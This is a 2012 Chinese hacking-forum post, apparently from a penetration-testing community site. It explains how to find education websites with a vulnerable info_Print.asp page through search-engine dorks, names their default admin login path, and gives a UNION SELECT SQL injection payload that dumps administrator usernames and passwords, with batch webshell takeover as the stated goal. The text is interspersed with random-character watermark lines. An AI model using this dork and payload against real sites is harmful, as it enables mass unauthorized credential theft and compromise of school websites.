中国网络渗透测试联盟
标题:
某教育站打印页面漏洞批量webshell
[打印本页]
作者:
admin
时间:
2012-10-31 08:37
标题:
某教育站打印页面漏洞批量webshell
教育站打印页面漏洞
" \3 R0 B) u1 Q, a8 i
百度或google搜索 inurl:info_Print.asp?ArticleID=
3 D! r! z ~: ^: s9 |( @# O
默认后台：/ad_login.asp
4 s% y `7 m8 F
爆管理员密码：
* a& v5 R: `+ F- s0 {
在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可
& Y4 V3 B* Y! T- D" D: n0 T
2 |1 s$ Y: N' `& Q$ K* s* G( T
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
3 ^2 w( ?! @" I" K
% Q# L* r4 q& G9 M6 o
作者：佚名
7 z5 o, O0 M* a1 Y* P& s
% ^2 ?) J# \) O# K# h
7 U O- r* w9 H8 u9 e3 Q
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2